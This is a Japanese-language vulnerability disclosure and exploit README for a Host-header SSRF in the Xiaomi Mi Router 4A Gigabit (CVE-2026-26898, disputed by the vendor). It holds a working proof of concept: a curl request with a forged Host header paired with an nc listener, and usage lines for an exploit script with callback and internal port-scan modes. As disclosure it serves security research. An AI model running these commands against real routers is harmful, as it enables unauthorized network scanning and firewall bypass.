CVE-2026-26898: Xiaomi Mi Router 4A Gigabit - HostヘッダインジェクションによるSSRF

概要

Xiaomi Mi Router 4A Gigabit Editionには、Server-Side Request Forgery（SSRF）の脆弱性が存在します。ルーターのWebインターフェースはHTTP Hostヘッダーを検証しないため、認証されていない攻撃者がルーターに任意のアウトバウンドTCP接続を強制できます。

ベンダーの対応と開示状況

ステータス: ベンダーにより係争中 — この報告はXiaomiに_受理されませんでした_。

• 2026-01-16にHackerOne（報告書**#3513458**）を介してXiaomiに報告。
• 2026-01-23にXiaomiは報告を情報提供としてクローズし、これは既知の問題であり、ルーターは「依然としてプロキシ機能に依存している」ため、低リスクであり対処しないと分類したと述べました。
• 研究者の立場: 重大度の評価は係争中です。本デバイスは2026年1月時点でも公式Xiaomiチャネル（mi.com/tr）で販売中であり、エンドポイントは認証なしで到達可能であり、SSRFにより内部ネットワークのスキャンやローカル接続を信頼するサービスへのアクセスが可能です。この動作は未パッチのままです。

CVE-2026-26898はここでは追跡目的のみで使用されています。ベンダーによる係争を考慮すると、ベンダー確認済みではなく係争中/未確認として扱われるべきです。

影響を受けるエンドポイント

GET /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: <ATTACKER_IP>:<PORT>

概念実証

スクリーンショット

クイックテスト

python3 xiaomi_ssrf_exploit.py --target 192.168.31.1 --check

出力

[*] Checking vulnerability on 192.168.31.1...
[*] Local IP: 192.168.31.235
[*] Test Port: 44444
[+] VULNERABLE! Router connected back to 192.168.31.235:44444

手動テスト

# Terminal 1: Start listener
nc -l 4444

# Terminal 2: Send malicious request
curl -H "Host: YOUR_IP:4444" "http://192.168.31.1/cgi-bin/luci/api/xqsystem/login"

影響

• 内部ネットワークスキャン: ルーターをプロキシとして使用し内部ネットワークをスキャン
• ファイアウォールバイパス: ルーターのIPに制限されたサービスへのアクセス
• 攻撃チェーン: 他の脆弱性と組み合わせてRCEを達成可能

ファイル

エクスプロイトの使用方法

# Check if vulnerable
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --check

# Callback mode
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --callback YOUR_IP --port 4444

# Port scanner
python3 xiaomi_ssrf_exploit.py --target ROUTER_IP --scan TARGET_IP --ports 22,23,80,443

タイムライン

参考情報

• HackerOne報告書**#3513458**（Xiaomiに提出、情報提供としてクローズ）
• CWE-918: サーバーサイドリクエストフォージェリ（SSRF）

免責事項

このエクスプロイトは教育および公認されたセキュリティテスト目的のみで提供されます。コンピュータシステムへの無許可アクセスは違法です。

著者

Ahmet Mersin
🌐 ahmetmersin.com
🐙 @iwallplace